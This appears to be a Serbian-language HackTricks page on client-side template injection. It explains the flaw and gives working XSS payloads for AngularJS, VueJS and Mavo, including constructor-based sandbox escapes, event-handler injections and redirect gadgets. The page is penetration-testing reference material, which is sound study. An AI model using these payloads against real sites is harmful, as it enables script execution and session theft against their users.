6.8 KiB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Summary
To je kao Server Side Template Injection ali na klijentskoj strani. SSTI vam omogućava da izvršite kod na udaljenom serveru, dok bi CSTI mogao da vam omogući izvršavanje proizvoljnog JavaScript koda na žrtvi.
Način testiranja ove ranjivosti je veoma sličan kao i u slučaju SSTI, interpreter će očekivati nešto što treba da se izvrši između dvostrukih ključeva i izvršiće to. Na primer, koristeći nešto poput: {{ 7-7 }}
ako je server ranjiv, videćete 0
, a ako nije, videćete original: {{ 7-7 }}
AngularJS
AngularJS je široko korišćen JavaScript okvir koji komunicira sa HTML-om putem atributa poznatih kao direktive, a jedna od njih je ng-app
. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.
U scenarijima gde korisnički unos dinamički bude umetnut u telo HTML-a označeno sa ng-app
, moguće je izvršiti proizvoljni JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su prikazani primeri kako se može izvršiti JavaScript kod:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Možete pronaći vrlo osnovni online primer ove ranjivosti u AngularJS-u na http://jsfiddle.net/2zs2yv7o/ i na Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 je uklonio sandbox tako da od ove verzije, payload poput {{constructor.constructor('alert(1)')()}}
ili <input ng-focus=$event.view.alert('XSS')>
treba da funkcioniše.
{% endhint %}
VueJS
Možete pronaći ranjivu implementaciju vue.js-a na https://vue-client-side-template-injection-example.azu.now.sh/
Radni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Izvorni kod ranjivog primera možete pronaći ovde: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Jedan veoma dobar post o CSTI u VUE-u može se pronaći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Kredit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Kredit: Mario Heiderich
Proverite više VUE payloada na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Više payloada na https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Lista za otkrivanje Brute-Force napada
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu Pogledajte SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.